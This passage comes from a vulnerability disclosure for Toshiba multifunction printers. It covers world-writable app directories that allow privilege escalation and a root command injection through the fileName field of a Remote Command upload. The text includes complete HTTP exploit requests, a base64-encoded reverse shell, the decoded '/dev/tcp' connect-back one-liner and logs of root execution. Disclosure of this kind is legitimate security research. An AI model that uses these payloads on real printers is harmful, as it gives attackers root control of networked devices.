drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 latest
bash-4.1# ls -latrR
.:
total 16
drwxr-xr-x 8 root root 4096 Mar 15 11:49 ..
drwxrwxrwx 4 root trusted 4096 Mar 15 11:49 .
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 initial
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 latest
./initial:
total 16
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:49 10000000-0000-0000-0000-500000000000
drwxrwxrwx 4 root trusted 4096 Mar 15 11:49 ..
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:50 10000000-0000-0000-0000-500000000001
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 .
./initial/10000000-0000-0000-0000-500000000000:
total 184
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:49 .
-rwxrwxrwx 1 apache trusted 176778 Mar 15 11:49 apppackage.zip
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 ..
./initial/10000000-0000-0000-0000-500000000001:
total 256
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 ..
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:50 .
-rwxrwxrwx 1 apache trusted 250054 Mar 15 11:50 apppackage.zip
./latest:
total 16
drwxrwxrwx 4 root trusted 4096 Mar 15 11:49 ..
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:49 10000000-0000-0000-0000-500000000000
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:50 10000000-0000-0000-0000-500000000001
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 .
./latest/10000000-0000-0000-0000-500000000000:
total 184
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:49 .
-rwxrwxrwx 1 apache trusted 176778 Mar 15 11:49 apppackage.zip
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 ..
./latest/10000000-0000-0000-0000-500000000001:
total 256
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 ..
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:50 .
-rwxrwxrwx 1 apache trusted 250054 Mar 15 11:50 apppackage.zip
The app directory is also insecure, due to incorrect permissions everywhere:
Content of `/application/app`:
bash-4.1# pwd
/application/app
bash-4.1# ls -la
total 16
drwxr-xr-x 4 root root 4096 Mar 15 11:50 .
drwxr-xr-x 8 root root 4096 Mar 15 11:49 ..
drwx--x--- 6 apache trusted 4096 Apr 10 18:42 10000000-0000-0000-0000-500000000000
drwx--x--- 6 apache trusted 4096 Mar 15 11:50 10000000-0000-0000-0000-500000000001
bash-4.1# ls -la /application/app/10000000-0000-0000-0000-500000000000
total 24
drwx--x--- 6 apache trusted 4096 Apr 10 18:42 .
drwxr-xr-x 4 root root 4096 Mar 15 11:50 ..
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 appjob
drwx--x--- 4 apache trusted 4096 Mar 15 11:49 appstorage
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 config
drwx--x--- 7 apache trusted 4096 Mar 15 11:50 package
bash-4.1#
Analysis of `/application/app/10000000-0000-0000-0000-500000000000`, with insecure permissions:
10000000-0000-0000-0000-500000000000/package/program/settingapp/server/views:
total 48
drwx--x--- 3 apache trusted 4096 Apr 10 17:42 .
drwx--x--- 5 apache trusted 4096 Apr 10 17:42 ..
-rwxrwxrwx 1 apache trusted 67 Apr 11 2022 __init__.py
drwxrwxrwx 2 apache trusted 4096 Apr 10 17:42 __pycache__
-rwxrwxrwx 1 apache trusted 6334 Apr 11 2022 command.py
-rwxrwxrwx 1 apache trusted 2882 Apr 11 2022 device.py
-rwxrwxrwx 1 apache trusted 1018 Apr 11 2022 history.py
-rwxrwxrwx 1 apache trusted 1144 Apr 11 2022 localization.py
-rwxrwxrwx 1 apache trusted 982 Apr 11 2022 resultstorage.py
-rwxrwxrwx 1 apache trusted 1933 Apr 11 2022 storage.py
-rwxrwxrwx 1 apache trusted 3103 Apr 11 2022 view.py
10000000-0000-0000-0000-500000000000/package/program/settingapp/server/worker:
total 16
drwx--x--- 3 apache trusted 4096 Apr 10 17:42 .
drwx--x--- 5 apache trusted 4096 Apr 10 17:42 ..
drwxrwxrwx 2 apache trusted 4096 Apr 10 17:42 __pycache__
-rwxrwxrwx 1 apache trusted 1892 Apr 11 2022 commandthread.py
package/program/settingapp/server/worker:
total 16
-rwxrwxrwx 1 apache trusted 1892 Apr 11 2022 commandthread.py
drwx--x--- 5 apache trusted 4096 Apr 10 17:42 ..
drwxrwxrwx 2 apache trusted 4096 Apr 10 17:42 __pycache__
drwx--x--- 3 apache trusted 4096 Apr 10 17:42 .
package/program/settingapp/server/worker/__pycache__:
total 12
-rw-rw-rw- 1 apache trusted 1968 Apr 10 17:42 commandthread.cpython-35.pyc
drwx--x--- 3 apache trusted 4096 Apr 10 17:42 ..
drwxrwxrwx 2 apache trusted 4096 Apr 10 17:42 .
package/program/backgroundapp:
total 68
-rwxrwxrwx 1 apache trusted 21409 Apr 11 2022 filefunction.py
-rwxrwxrwx 1 apache trusted 3738 Apr 11 2022 exclusivecontrol.py
-rwxrwxrwx 1 apache trusted 24233 Apr 11 2022 eventhandler.py
-rwxrwxrwx 1 apache trusted 1326 Apr 11 2022 backgroundapp.py
drwx--x--- 5 apache trusted 4096 Mar 15 11:49 ..
drwx--x--- 3 apache trusted 4096 Mar 15 11:50 .
drwxrwxrwx 2 root trusted 4096 Mar 15 11:50 __pycache__
By default, the applications are stored inside `/application/app`.
We can confirm that the Python scripts have insecure permissions, allowing any local user to overwrite them and get a Local Privilege Escalation.
A remote attacker using the insecure upload functionality will be able to overwrite any Python file and get Remote Code Execution.
A local attacker can overwrite any file.
## Details - Remote Code Execution - command injection as root
It was observed that the Remote Command program allows an attacker to get Remote Code Execution as root.
When uploading a file with the fileName `|id`, the command `id` will be executed as root on the printer. There is a command injection inside the `fileName` variable:
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
The HTTP request is:
POST /aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/execute HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 32
Origin: https://10.0.0.1:8080
Connection: close
Referer: https://10.0.0.1:8080/aplpx/client/10000000-0000-0000-0000-500000000000/index.html?v=1.0.8
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DAPPLICATION%26CAT%3DAPPLINK; clicked=0; TopAccessURL=http%3A//10.0.0.1%3A8080/%3FMAIN%3DTOPACCESS; lastVisited=APPLINK; SessionID=Session_02b918cd-3074-4f4f-afd6-396ed3fb7f94; IgnoreSessionTimeout=1; Session=10.0.0.2.c57914f5d5c3263959918454856ac9f3
{"file":"test","fileName":"|id"}
And the command `id` will be executed as root on the printer:
2023/04/10 18:16:07 CMD: UID=0 PID=10794 | sh -c chmod 666 /application/app/10000000-0000-0000-0000-500000000000/appstorage/normal//remotecommand//test3.test|id
2023/04/10 18:16:07 CMD: UID=0 PID=10796 | id
2023/04/10 18:16:07 CMD: UID=0 PID=10795 | chmod 666 /application/app/10000000-0000-0000-0000-500000000000/appstorage/normal//remotecommand//test3.test
A PoC is provided, allowing getting a connect-back shell as root:
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
The HTTP request is:
POST /aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/execute HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 345
Origin: https://10.0.0.1:8080
Connection: close
Referer: https://10.0.0.1:8080/aplpx/client/10000000-0000-0000-0000-500000000000/index.html?v=1.0.8
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DAPPLICATION%26CAT%3DAPPLINK; clicked=0; TopAccessURL=http%3A//10.0.0.1%3A8080/%3FMAIN%3DTOPACCESS; lastVisited=APPLINK; SessionID=Session_02b918cd-3074-4f4f-afd6-396ed3fb7f94; IgnoreSessionTimeout=1; Session=10.0.0.2.c57914f5d5c3263959918454856ac9f3
{"file":"UEsDBAoAAAAAAEMyilbGNbk7BQAAAAUAAAAIABwAdGVzdC50eHRVVAkAA13iM2Tu/TNkdXgLAAEE6AMAAAToAwAAdGVzdApQSwECHgMKAAAAAABDMopWxjW5OwUAAAAFAAAACAAYAAAAAAABAAAAgIEAAAAAdGVzdC50eHRVVAUAA13iM2R1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBOAAAARwAAAAAA","fileName":"test-exec.zip$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMi84MCAwPiYxCg==|base64 -d|bash)"}
The malicious payload is generated using base64 to remove bad characters. It is a standard connect-back shell, connecting to 10.0.0.2 to port 80 over TCP:
kali% echo 'bash -i >& /dev/tcp/10.0.0.2/80 0>&1' | base64 -w0;echo
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMi84MCAwPiYxCg==
The resulting command is executed on the printer:
root 13040 0.0 0.1 13260 2344 ? S 18:50 0:00 sh -c chmod 666 /application/app/10000000-0000-0000-0000-500000000000/appstorage/normal//remotecommand//test-exec.zip$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMi84MCAwPiYxCg==|base64 -d|bash)
And we can confirm the command was executed from Python, from the parent processus alappmanager:
bash-4.1# pstree
init-+-MemoryCaptureSt---MemoryCapture---sleep
|-aleSCL
|-alhp9100---21*[{alhp9100}]
|-2*[alipp---2*[{alipp}]]
|-allld2d
|-alllmnr
|-allprng---21*[{allprng}]
|-alnetefiRemotei
|-alstage2-+-alstage2
| `-23*[{alstage2}]
|-alusbPrint---2*[{alusbPrint}]
|-alwsdiscovery
|-alwsmex
|-alwsprint---{alwsprint}
|-alwsscanner---3*[{alwsscanner}]
|-bash---pspy32---9*[{pspy32}]
|-cissm-+-alAddressBookMg
| |-alCloning
| |-alExportImport
| |-alLogRetriever
| |-alLogmanager---{alLogmanager}
| |-alPanelStartLED---{alPanelStartLE}
| |-alPanelUIMessag---{alPanelUIMessa}
| |-alServiceUIPlug
| |-alUiFrameWork---21*[{alUiFrameWork}]
| |-alViewPlugin---3*[{alViewPlugin}]
| |-alaccountmgr---2*[{alaccountmgr}]
| |-alappmanager-+-python-+-sh---sh---bash---bash---pstree
| | | `-5*[{python}]
| | |-python---5*[{python}]
| | `-15*[{alappmanager}]
[...]
The vulnerable code is located in the `/application/app/10000000-0000-0000-0000-500000000000/package/program/settingapp/server/views/command.py` Python script, with sources on lines 34 and 59:
[code:python]
1 #!/usr/bin/env python
2 # -*- coding: utf-8 -*-
3 # Copyright(c) 2021 Toshiba Tec Corporation, All Rights Reserved.
[...]
© 2024 Packet Storm. All rights reserved.
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